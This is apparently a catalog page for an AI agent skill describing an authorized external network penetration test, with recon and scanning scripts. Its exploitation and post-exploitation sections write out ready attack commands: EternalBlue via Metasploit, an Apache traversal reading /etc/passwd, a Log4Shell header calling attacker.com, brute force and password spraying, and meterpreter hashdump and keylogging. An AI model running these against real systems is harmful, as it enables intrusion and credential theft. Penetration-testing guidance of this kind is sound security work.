penetration testing

Performing External Network Penetration Test

Conduct a comprehensive external network penetration test to identify vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance, scanning, exploitation, and reporting.

exploitationexternal-pentestmetasploitnetwork-securitynmaposstmmptesreconnaissance
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

An external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.

When to Use

  • When conducting security assessments that involve performing external network penetration test
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Written authorization (Rules of Engagement document signed by asset owner)
  • Defined scope: IP ranges, domains, subdomains, and exclusions
  • Testing environment: Kali Linux or Parrot OS with updated tools
  • VPN/dedicated testing infrastructure to avoid IP blocks
  • Coordination with SOC/NOC for timing windows

Phase 1 — Pre-Engagement and Scoping

Define Rules of Engagement

Scope:
  - Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
  - Domains: *.target.com, *.target.io
  - Exclusions: 203.0.113.50 (production DB), *.staging.target.com
  - Testing window: Mon-Fri 22:00-06:00 UTC
  - Emergency contact: SOC Lead — +1-555-0100
  - Authorization ID: PENTEST-2025-EXT-042

Legal Documentation Checklist

Document Status Owner
Master Service Agreement (MSA) Signed Legal
Statement of Work (SOW) Signed PM
Rules of Engagement (RoE) Signed CISO
Get-Out-of-Jail Letter Signed CTO
NDA Signed Legal
Insurance Certificate Verified Risk

Phase 2 — Reconnaissance (Information Gathering)

Passive Reconnaissance

# OSINT — Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt
 
# DNS record enumeration
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short
 
# WHOIS and ASN lookup
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'
 
# Certificate Transparency log search
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
 
# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"
 
# Shodan enumeration
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10
 
# Email harvesting
theHarvester -d target.com -b all -l 500 -f theharvester_results
 
# GitHub/GitLab secret scanning
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo

Active Reconnaissance

# Host discovery — ping sweep
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap
 
# TCP SYN scan — top 1000 ports
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan
 
# Full TCP port scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp
 
# UDP scan — top 100 ports
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan
 
# Service version and script scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan
 
# SSL/TLS enumeration
sslscan 203.0.113.10:443
testssl.sh --full https://target.com
 
# Web technology fingerprinting
whatweb -v https://target.com
wappalyzer https://target.com

Phase 3 — Vulnerability Analysis

Automated Scanning

# Nessus scan (via CLI)
nessuscli scan --new --name "External-Pentest-2025" \
  --targets 203.0.113.0/24 \
  --policy "Advanced Network Scan"
 
# OpenVAS scan
gvm-cli socket --xml '<create_task>
  <name>External Pentest</name>
  <target id="target-uuid"/>
  <config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'
 
# Nuclei vulnerability scanner
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
  -severity critical,high -o nuclei_results.txt
 
# Nikto web server scan
nikto -h https://target.com -output nikto_results.html -Format htm
 
# Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
  --depth 3 -o ferox_results.txt

Manual Vulnerability Validation

# Check for known CVEs on identified services
searchsploit apache 2.4.49
searchsploit openssh 8.2
 
# Test for default credentials
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
  ssh://203.0.113.10 -t 4
 
# Test VPN endpoints
ike-scan 203.0.113.20
# Check for IKEv1 aggressive mode
 
# SNMP enumeration
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24
 
# SMTP enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25

Phase 4 — Exploitation

Network Service Exploitation

# Metasploit — EternalBlue (MS17-010) example
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit
 
# Apache RCE — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
 
# ProxyShell exploitation (Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e admin@target.com
 
# Log4Shell (CVE-2021-44228) testing
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api

Web Application Exploitation

# SQL Injection with sqlmap
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5
 
# XSS payload testing
dalfox url "https://target.com/search?q=test" --skip-bav
 
# Command injection testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch
 
# File upload bypass
# Upload PHP shell with double extension: shell.php.jpg
# Test content-type bypass: application/octet-stream -> image/jpeg

Password Attacks

# Brute force RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4
 
# Spray attack against OWA
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa
 
# Crack captured hashes
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Phase 5 — Post-Exploitation

# Establish persistence (authorized testing only)
# Meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester
 
# Privilege escalation check
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt
 
# Data exfiltration proof
# Create proof file (DO NOT exfiltrate real sensitive data)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt
 
# Network pivoting through compromised host
# Set up SOCKS proxy via SSH
ssh -D 9050 user@203.0.113.15
proxychains nmap -sT -p 80,443,445 10.0.0.0/24
 
# Screenshot and evidence collection
meterpreter> screenshot
meterpreter> keyscan_start

Phase 6 — Reporting

Finding Classification (CVSS v3.1)

Severity CVSS Range Count Example
Critical 9.0-10.0 2 RCE via unpatched Exchange (ProxyShell)
High 7.0-8.9 5 SQL Injection in customer portal
Medium 4.0-6.9 8 Missing security headers, TLS 1.0
Low 0.1-3.9 12 Information disclosure via server banners
Info 0.0 6 Open ports documentation

Report Structure

1. Executive Summary
   - Scope and objectives
   - Key findings summary
   - Risk rating overview
   - Strategic recommendations
 
2. Technical Findings
   For each finding:
   - Title and CVSS score
   - Affected asset(s)
   - Description and impact
   - Steps to reproduce (with screenshots)
   - Evidence/proof of exploitation
   - Remediation recommendation
   - References (CVE, CWE)
 
3. Methodology
   - Tools used
   - Testing timeline
   - Frameworks followed (PTES, OWASP)
 
4. Appendices
   - Full scan results
   - Network diagrams
   - Raw tool output

Remediation Priority Matrix

Priority Timeline Action
P1 — Critical 24-48 hours Patch RCE vulnerabilities, disable exposed admin panels
P2 — High 1-2 weeks Fix injection flaws, implement MFA
P3 — Medium 30 days Harden TLS configs, add security headers
P4 — Low 60-90 days Remove version banners, update documentation

Tools Reference

Tool Purpose License
Nmap Port scanning and service enumeration GPLv2
Metasploit Exploitation framework BSD
Burp Suite Pro Web application testing Commercial
Nuclei Vulnerability scanning MIT
Subfinder Subdomain enumeration MIT
SQLMap SQL injection testing GPLv2
Nessus Vulnerability scanner Commercial
Gobuster Directory brute-forcing Apache 2.0
Hashcat Password cracking MIT
theHarvester OSINT email/domain harvesting GPLv2

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.6 KB

API Reference — Performing External Network Penetration Test

Libraries Used

  • socket: TCP port scanning and banner grabbing
  • subprocess: Execute nmap with XML output parsing
  • dns.resolver (dnspython): DNS record enumeration and subdomain discovery
  • ssl: TLS certificate inspection and cipher analysis
  • xml.etree.ElementTree: Parse nmap XML output

CLI Interface

python agent.py scan --host <target_ip> [--ports 22 80 443]
python agent.py nmap --target <ip_or_range> [--type quick|full|vuln|udp]
python agent.py dns --domain <domain>
python agent.py ssl --host <hostname> [--port 443]

Core Functions

tcp_port_scan(host, ports) — Scan TCP ports with banner grabbing

Scans 22 common ports by default. Returns open ports with service banners.

run_nmap_scan(target, scan_type) — Execute nmap and parse XML results

Scan types: quick (top 100 -sV), full (-p- -sC), vuln (NSE vuln scripts), udp (top 50 UDP).

dns_enumeration(domain) — Enumerate DNS records and subdomains

Queries A, AAAA, MX, NS, TXT, SOA, CNAME records. Tests 10 common subdomain prefixes.

ssl_check(host, port) — Inspect TLS certificate and cipher suite

Returns subject, issuer, validity dates, TLS version, and negotiated cipher.

Default Port List

21 (FTP), 22 (SSH), 23 (Telnet), 25 (SMTP), 53 (DNS), 80 (HTTP), 110 (POP3), 135 (RPC), 139 (NetBIOS), 143 (IMAP), 443 (HTTPS), 445 (SMB), 993/995 (IMAPS/POP3S), 1433 (MSSQL), 1521 (Oracle), 3306 (MySQL), 3389 (RDP), 5432 (PostgreSQL), 5900 (VNC), 8080/8443 (HTTP Proxy/Alt HTTPS)

Dependencies

pip install dnspython

System: nmap (optional, for advanced scanning)

standards.md2.0 KB

Standards and Frameworks — External Network Penetration Testing

Primary Standards

PTES (Penetration Testing Execution Standard)

  • Website: http://www.pentest-standard.org/
  • Phases: Pre-engagement, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post-Exploitation, Reporting
  • Best for: Comprehensive network penetration testing engagements

NIST SP 800-115

OSSTMM v3 (Open Source Security Testing Methodology Manual)

OWASP Testing Guide v4.2

Compliance Frameworks

Framework Requirement Pentest Frequency
PCI DSS v4.0 Requirement 11.4 Annual + after significant changes
SOC 2 Type II CC7.1 Annual
ISO 27001 A.12.6, A.18.2 Annual recommended
HIPAA §164.308(a)(8) Annual recommended
FedRAMP CA-8 Annual

CVSS v3.1 Scoring Reference

Metric Group Components
Base Score Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, Confidentiality, Integrity, Availability
Temporal Score Exploit Code Maturity, Remediation Level, Report Confidence
Environmental Score Modified Base Metrics, Security Requirements

Calculator: https://www.first.org/cvss/calculator/3.1

CVE and Vulnerability Databases

workflows.md4.2 KB

Workflows — External Network Penetration Testing

End-to-End Workflow

┌─────────────────┐    ┌──────────────────┐    ┌─────────────────────┐
│ Pre-Engagement   │───>│  Reconnaissance   │───>│ Vulnerability        │
│ - Scoping        │    │  - Passive OSINT  │    │ Analysis             │
│ - RoE signing    │    │  - Active scanning│    │ - Automated scans    │
│ - Legal docs     │    │  - Enum subdomains│    │ - Manual validation  │
└─────────────────┘    └──────────────────┘    └─────────────────────┘

┌─────────────────┐    ┌──────────────────┐    ┌──────────▼──────────┐
│   Reporting      │<───│ Post-Exploitation │<───│   Exploitation       │
│ - Findings doc   │    │  - Priv escalation│    │ - Service exploits   │
│ - CVSS scoring   │    │  - Persistence    │    │ - Web app attacks    │
│ - Remediation    │    │  - Pivoting proof  │    │ - Password attacks   │
│ - Executive brief│    │  - Evidence gather │    │ - Credential spray   │
└─────────────────┘    └──────────────────┘    └─────────────────────┘

Daily Testing Workflow

Morning:
  1. Review previous day's findings
  2. Update target list with new discoveries
  3. Run updated scans on newly discovered hosts
  4. Verify scan results and triage
 
Afternoon:
  5. Manual exploitation of high-value targets
  6. Attempt lateral movement from compromised hosts
  7. Document all successful and failed exploitation attempts
 
Evening:
  8. Compile evidence and screenshots
  9. Update findings tracker
  10. Plan next day's attack vectors
  11. Communicate critical findings to client immediately

Reconnaissance Sub-Workflow

Domain Target

    ├── DNS Enumeration ──> Subdomain Discovery ──> IP Resolution
    │                                                    │
    ├── WHOIS/ASN Lookup ──> IP Range Identification ────┤
    │                                                    │
    ├── Certificate Transparency ──> Hidden Subdomains ──┤
    │                                                    │
    ├── Shodan/Censys ──> Service Fingerprinting ────────┤
    │                                                    │
    └── OSINT (GitHub, Pastebin) ──> Credential Leaks    │

                                              Master Target List
                                           (IPs, Ports, Services)

Vulnerability Triage Workflow

Scan Results

    ├── Critical (CVSS >= 9.0) ──> Immediate exploitation attempt
    │                               ──> Notify client if RCE confirmed

    ├── High (CVSS 7.0-8.9) ──> Validate and exploit within 24h

    ├── Medium (CVSS 4.0-6.9) ──> Validate, exploit if time permits

    └── Low/Info (CVSS < 4.0) ──> Document, include in final report

Evidence Collection Workflow

For each successful exploitation:
  1. Screenshot the exploit execution
  2. Record terminal output (script command or asciinema)
  3. Capture network traffic (tcpdump/Wireshark)
  4. Document exact commands/payloads used
  5. Note timestamps (UTC)
  6. Hash any files extracted (SHA-256)
  7. Store evidence in organized folder structure:
     evidence/
     ├── {date}/
     │   ├── {target-ip}/
     │   │   ├── screenshots/
     │   │   ├── terminal_logs/
     │   │   ├── pcaps/
     │   │   └── notes.md

Scripts 2

agent.py5.6 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for performing external network penetration test reconnaissance and scanning."""

import json
import argparse
import subprocess
import socket
from datetime import datetime


def tcp_port_scan(host, ports=None):
    """Scan common TCP ports on a target host."""
    if ports is None:
        ports = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445,
                 993, 995, 1433, 1521, 3306, 3389, 5432, 5900, 8080, 8443]
    results = []
    for port in ports:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)
        try:
            sock.connect((host, port))
            try:
                banner = sock.recv(1024).decode("utf-8", errors="replace").strip()[:200]
            except Exception:
                banner = ""
            results.append({"port": port, "state": "open", "banner": banner})
        except (socket.timeout, ConnectionRefusedError, OSError):
            pass
        finally:
            sock.close()
    return {"host": host, "open_ports": results, "scanned": len(ports), "timestamp": datetime.utcnow().isoformat()}


def run_nmap_scan(target, scan_type="quick"):
    """Run nmap scan against target."""
    scan_args = {
        "quick": ["-sV", "-T4", "--top-ports", "100"],
        "full": ["-sV", "-sC", "-p-", "-T3"],
        "vuln": ["-sV", "--script", "vuln", "--top-ports", "1000"],
        "udp": ["-sU", "--top-ports", "50", "-T4"],
    }
    args = scan_args.get(scan_type, scan_args["quick"])
    cmd = ["nmap", "-oX", "-"] + args + [target]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
        import xml.etree.ElementTree as ET
        root = ET.fromstring(result.stdout)
        hosts = []
        for host in root.findall(".//host"):
            addr = host.find("address").get("addr", "") if host.find("address") is not None else ""
            ports = []
            for port in host.findall(".//port"):
                state = port.find("state")
                service = port.find("service")
                ports.append({
                    "port": int(port.get("portid", 0)),
                    "protocol": port.get("protocol", ""),
                    "state": state.get("state", "") if state is not None else "",
                    "service": service.get("name", "") if service is not None else "",
                    "version": service.get("product", "") + " " + service.get("version", "") if service is not None else "",
                })
            hosts.append({"ip": addr, "ports": ports})
        return {"target": target, "scan_type": scan_type, "hosts": hosts}
    except FileNotFoundError:
        return {"error": "nmap not installed"}
    except Exception as e:
        return {"error": str(e)}


def dns_enumeration(domain):
    """Enumerate DNS records for a domain."""
    try:
        import dns.resolver
    except ImportError:
        return {"error": "dnspython not installed — pip install dnspython"}
    records = {}
    for rtype in ["A", "AAAA", "MX", "NS", "TXT", "SOA", "CNAME"]:
        try:
            answers = dns.resolver.resolve(domain, rtype)
            records[rtype] = [str(r) for r in answers]
        except Exception:
            pass
    subdomains = ["www", "mail", "ftp", "vpn", "remote", "api", "dev", "staging", "admin", "portal"]
    found_subs = []
    for sub in subdomains:
        try:
            answers = dns.resolver.resolve(f"{sub}.{domain}", "A")
            found_subs.append({"subdomain": f"{sub}.{domain}", "ips": [str(r) for r in answers]})
        except Exception:
            pass
    return {"domain": domain, "records": records, "subdomains": found_subs}


def ssl_check(host, port=443):
    """Check SSL/TLS certificate details."""
    import ssl
    ctx = ssl.create_default_context()
    try:
        with ctx.wrap_socket(socket.socket(), server_hostname=host) as s:
            s.settimeout(10)
            s.connect((host, port))
            cert = s.getpeercert()
            return {
                "host": host, "port": port,
                "subject": dict(x[0] for x in cert.get("subject", [])),
                "issuer": dict(x[0] for x in cert.get("issuer", [])),
                "notBefore": cert.get("notBefore"),
                "notAfter": cert.get("notAfter"),
                "version": s.version(),
                "cipher": s.cipher(),
            }
    except Exception as e:
        return {"host": host, "error": str(e)}


def main():
    parser = argparse.ArgumentParser(description="External Network Penetration Test Agent")
    sub = parser.add_subparsers(dest="command")
    s = sub.add_parser("scan", help="TCP port scan")
    s.add_argument("--host", required=True)
    s.add_argument("--ports", nargs="*", type=int)
    n = sub.add_parser("nmap", help="Run nmap scan")
    n.add_argument("--target", required=True)
    n.add_argument("--type", default="quick", choices=["quick", "full", "vuln", "udp"])
    d = sub.add_parser("dns", help="DNS enumeration")
    d.add_argument("--domain", required=True)
    c = sub.add_parser("ssl", help="SSL certificate check")
    c.add_argument("--host", required=True)
    c.add_argument("--port", type=int, default=443)
    args = parser.parse_args()
    if args.command == "scan":
        result = tcp_port_scan(args.host, args.ports)
    elif args.command == "nmap":
        result = run_nmap_scan(args.target, args.type)
    elif args.command == "dns":
        result = dns_enumeration(args.domain)
    elif args.command == "ssl":
        result = ssl_check(args.host, args.port)
    else:
        parser.print_help()
        return
    print(json.dumps(result, indent=2, default=str))


if __name__ == "__main__":
    main()
process.py13.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
External Network Penetration Test — Automation Process

Automates reconnaissance, scanning, and reporting phases of an external
network penetration test. Requires: nmap, subfinder, nuclei, python-nmap.

Usage:
    python process.py --target target.com --ip-range 203.0.113.0/24 --output ./results
"""

import subprocess
import json
import csv
import os
import sys
import argparse
import socket
import ssl
import datetime
import ipaddress
from pathlib import Path
from typing import Optional


def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
    """Execute a shell command and return stdout, stderr, return code."""
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=timeout
        )
        return result.stdout, result.stderr, result.returncode
    except subprocess.TimeoutExpired:
        return "", f"Command timed out after {timeout}s", -1
    except FileNotFoundError:
        return "", f"Command not found: {cmd[0]}", -1


def enumerate_subdomains(domain: str, output_dir: Path) -> list[str]:
    """Enumerate subdomains using subfinder."""
    print(f"[*] Enumerating subdomains for {domain}...")
    subfinder_out = output_dir / "subdomains_subfinder.txt"

    stdout, stderr, rc = run_command(
        ["subfinder", "-d", domain, "-silent", "-o", str(subfinder_out)],
        timeout=600
    )

    subdomains = set()
    if subfinder_out.exists():
        with open(subfinder_out) as f:
            subdomains.update(line.strip() for line in f if line.strip())

    print(f"[+] Found {len(subdomains)} subdomains")
    return sorted(subdomains)


def resolve_domains(subdomains: list[str], output_dir: Path) -> dict[str, list[str]]:
    """Resolve subdomains to IP addresses."""
    print(f"[*] Resolving {len(subdomains)} subdomains...")
    resolved = {}
    for sub in subdomains:
        try:
            ips = [r[4][0] for r in socket.getaddrinfo(sub, None, socket.AF_INET)]
            resolved[sub] = list(set(ips))
        except socket.gaierror:
            continue

    output_file = output_dir / "resolved_domains.json"
    with open(output_file, "w") as f:
        json.dump(resolved, f, indent=2)

    unique_ips = set()
    for ips in resolved.values():
        unique_ips.update(ips)
    print(f"[+] Resolved to {len(unique_ips)} unique IPs")
    return resolved


def nmap_scan(targets: str, output_dir: Path, scan_type: str = "quick") -> dict:
    """Run nmap scan on target range."""
    print(f"[*] Running nmap {scan_type} scan on {targets}...")
    output_prefix = str(output_dir / f"nmap_{scan_type}")

    if scan_type == "quick":
        cmd = ["nmap", "-sS", "-sV", "--top-ports", "1000", "-T4",
               "-oA", output_prefix, targets]
    elif scan_type == "full":
        cmd = ["nmap", "-sS", "-sV", "-p-", "-T4", "--min-rate", "1000",
               "-oA", output_prefix, targets]
    elif scan_type == "udp":
        cmd = ["nmap", "-sU", "--top-ports", "100", "-T4",
               "-oA", output_prefix, targets]
    elif scan_type == "scripts":
        cmd = ["nmap", "-sV", "-sC", "--script=vuln,exploit",
               "-oA", output_prefix, targets]
    else:
        cmd = ["nmap", "-sS", "-sV", "-T4",
               "-oA", output_prefix, targets]

    stdout, stderr, rc = run_command(cmd, timeout=3600)

    results = {
        "scan_type": scan_type,
        "targets": targets,
        "return_code": rc,
        "output_files": {
            "nmap": f"{output_prefix}.nmap",
            "xml": f"{output_prefix}.xml",
            "gnmap": f"{output_prefix}.gnmap",
        }
    }

    if rc == 0:
        print(f"[+] Nmap {scan_type} scan completed successfully")
    else:
        print(f"[-] Nmap scan returned code {rc}: {stderr[:200]}")

    return results


def check_ssl_tls(host: str, port: int = 443) -> dict:
    """Check SSL/TLS configuration for a host."""
    result = {
        "host": host,
        "port": port,
        "ssl_version": None,
        "cipher": None,
        "cert_subject": None,
        "cert_issuer": None,
        "cert_expiry": None,
        "issues": []
    }

    try:
        context = ssl.create_default_context()
        with socket.create_connection((host, port), timeout=10) as sock:
            with context.wrap_socket(sock, server_hostname=host) as ssock:
                result["ssl_version"] = ssock.version()
                result["cipher"] = ssock.cipher()
                cert = ssock.getpeercert()
                if cert:
                    result["cert_subject"] = dict(x[0] for x in cert.get("subject", []))
                    result["cert_issuer"] = dict(x[0] for x in cert.get("issuer", []))
                    result["cert_expiry"] = cert.get("notAfter")

                    # Check expiry
                    expiry = datetime.datetime.strptime(
                        cert["notAfter"], "%b %d %H:%M:%S %Y %Z"
                    )
                    if expiry < datetime.datetime.now():
                        result["issues"].append("Certificate expired")
                    elif expiry < datetime.datetime.now() + datetime.timedelta(days=30):
                        result["issues"].append("Certificate expires within 30 days")

    except ssl.SSLCertVerificationError as e:
        result["issues"].append(f"Certificate verification failed: {e}")
    except (socket.timeout, ConnectionRefusedError, OSError) as e:
        result["issues"].append(f"Connection failed: {e}")

    return result


def run_nuclei_scan(targets_file: str, output_dir: Path) -> str:
    """Run nuclei vulnerability scanner."""
    print("[*] Running nuclei vulnerability scan...")
    output_file = output_dir / "nuclei_results.json"

    cmd = [
        "nuclei", "-l", targets_file,
        "-severity", "critical,high,medium",
        "-json", "-o", str(output_file),
        "-rate-limit", "50",
        "-bulk-size", "25",
        "-concurrency", "10"
    ]

    stdout, stderr, rc = run_command(cmd, timeout=3600)

    if rc == 0:
        print(f"[+] Nuclei scan completed. Results: {output_file}")
    else:
        print(f"[-] Nuclei scan issue: {stderr[:200]}")

    return str(output_file)


def parse_nmap_gnmap(gnmap_file: str) -> list[dict]:
    """Parse nmap gnmap output to extract open ports."""
    hosts = []
    try:
        with open(gnmap_file) as f:
            for line in f:
                if "Ports:" not in line:
                    continue
                parts = line.split("\t")
                host_part = parts[0]
                ip = host_part.split(" ")[1]
                ports_part = [p for p in parts if p.startswith("Ports:")]
                if not ports_part:
                    continue
                port_entries = ports_part[0].replace("Ports: ", "").split(", ")
                open_ports = []
                for entry in port_entries:
                    fields = entry.strip().split("/")
                    if len(fields) >= 5 and fields[1] == "open":
                        open_ports.append({
                            "port": int(fields[0]),
                            "protocol": fields[2],
                            "service": fields[4],
                            "version": fields[6] if len(fields) > 6 else ""
                        })
                if open_ports:
                    hosts.append({"ip": ip, "open_ports": open_ports})
    except FileNotFoundError:
        print(f"[-] File not found: {gnmap_file}")

    return hosts


def generate_report(
    scan_results: dict,
    resolved: dict,
    ssl_results: list[dict],
    output_dir: Path
) -> str:
    """Generate a summary report in markdown format."""
    print("[*] Generating report...")
    report_file = output_dir / "pentest_report.md"
    timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")

    with open(report_file, "w") as f:
        f.write(f"# External Network Penetration Test Report\n\n")
        f.write(f"**Generated:** {timestamp}\n\n")
        f.write("---\n\n")

        # Subdomain summary
        f.write("## Subdomain Enumeration\n\n")
        f.write(f"Total subdomains discovered: **{len(resolved)}**\n\n")
        unique_ips = set()
        for ips in resolved.values():
            unique_ips.update(ips)
        f.write(f"Unique IP addresses: **{len(unique_ips)}**\n\n")

        if resolved:
            f.write("| Subdomain | IP Address(es) |\n")
            f.write("|-----------|---------------|\n")
            for sub, ips in sorted(resolved.items()):
                f.write(f"| {sub} | {', '.join(ips)} |\n")
            f.write("\n")

        # Port scan summary
        f.write("## Port Scan Results\n\n")
        for scan_type, result in scan_results.items():
            f.write(f"### {scan_type.title()} Scan\n\n")
            gnmap = result.get("output_files", {}).get("gnmap")
            if gnmap and os.path.exists(gnmap):
                hosts = parse_nmap_gnmap(gnmap)
                if hosts:
                    for host in hosts:
                        f.write(f"**{host['ip']}**\n\n")
                        f.write("| Port | Protocol | Service | Version |\n")
                        f.write("|------|----------|---------|----------|\n")
                        for port in host["open_ports"]:
                            f.write(
                                f"| {port['port']} | {port['protocol']} "
                                f"| {port['service']} | {port['version']} |\n"
                            )
                        f.write("\n")
                else:
                    f.write("No open ports discovered in this scan.\n\n")
            else:
                f.write(f"Scan output not available (return code: {result.get('return_code')})\n\n")

        # SSL/TLS results
        f.write("## SSL/TLS Assessment\n\n")
        if ssl_results:
            f.write("| Host | SSL Version | Cipher | Expiry | Issues |\n")
            f.write("|------|-------------|--------|--------|--------|\n")
            for sr in ssl_results:
                issues = "; ".join(sr["issues"]) if sr["issues"] else "None"
                f.write(
                    f"| {sr['host']} | {sr.get('ssl_version', 'N/A')} "
                    f"| {sr.get('cipher', ('N/A',))[0] if sr.get('cipher') else 'N/A'} "
                    f"| {sr.get('cert_expiry', 'N/A')} | {issues} |\n"
                )
            f.write("\n")

        # Recommendations
        f.write("## Recommendations\n\n")
        f.write("1. Remediate all critical and high severity findings within 48 hours\n")
        f.write("2. Patch all identified CVEs on internet-facing services\n")
        f.write("3. Implement network segmentation for exposed services\n")
        f.write("4. Enable MFA on all externally accessible portals\n")
        f.write("5. Deploy WAF for web-facing applications\n")
        f.write("6. Review and harden TLS configurations\n")
        f.write("7. Remove unnecessary open ports and services\n")
        f.write("8. Implement rate limiting and account lockout policies\n\n")

        f.write("---\n")
        f.write(f"*Report generated by external pentest automation tool*\n")

    print(f"[+] Report generated: {report_file}")
    return str(report_file)


def main():
    parser = argparse.ArgumentParser(
        description="External Network Penetration Test Automation"
    )
    parser.add_argument("--target", required=True, help="Target domain (e.g., target.com)")
    parser.add_argument("--ip-range", help="Target IP range in CIDR notation")
    parser.add_argument("--output", default="./results", help="Output directory")
    parser.add_argument("--skip-recon", action="store_true", help="Skip reconnaissance phase")
    parser.add_argument("--skip-scan", action="store_true", help="Skip scanning phase")
    parser.add_argument("--scan-type", default="quick",
                        choices=["quick", "full", "udp", "scripts"],
                        help="Nmap scan type")
    args = parser.parse_args()

    output_dir = Path(args.output)
    output_dir.mkdir(parents=True, exist_ok=True)
    (output_dir / "evidence").mkdir(exist_ok=True)
    (output_dir / "scans").mkdir(exist_ok=True)

    print("=" * 60)
    print(" External Network Penetration Test")
    print(f" Target: {args.target}")
    print(f" Output: {output_dir.absolute()}")
    print(f" Started: {datetime.datetime.now(datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}")
    print("=" * 60)

    # Phase 1: Reconnaissance
    resolved = {}
    if not args.skip_recon:
        subdomains = enumerate_subdomains(args.target, output_dir)
        resolved = resolve_domains(subdomains, output_dir)
    else:
        print("[*] Skipping reconnaissance phase")

    # Phase 2: Scanning
    scan_results = {}
    ssl_results = []
    if not args.skip_scan:
        scan_target = args.ip_range or args.target
        scan_results[args.scan_type] = nmap_scan(
            scan_target, output_dir / "scans", args.scan_type
        )

        # SSL/TLS checks on discovered web services
        ssl_hosts = [args.target]
        if resolved:
            ssl_hosts.extend(list(resolved.keys())[:20])
        for host in ssl_hosts:
            ssl_result = check_ssl_tls(host)
            if ssl_result["ssl_version"] or ssl_result["issues"]:
                ssl_results.append(ssl_result)
    else:
        print("[*] Skipping scanning phase")

    # Phase 3: Nuclei scan
    targets_file = output_dir / "targets.txt"
    with open(targets_file, "w") as f:
        f.write(f"https://{args.target}\n")
        for sub in resolved:
            f.write(f"https://{sub}\n")
    run_nuclei_scan(str(targets_file), output_dir)

    # Phase 4: Report generation
    report_path = generate_report(scan_results, resolved, ssl_results, output_dir)

    print("\n" + "=" * 60)
    print(" Penetration Test Automation Complete")
    print(f" Report: {report_path}")
    print("=" * 60)


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 3.4 KB
Keep exploring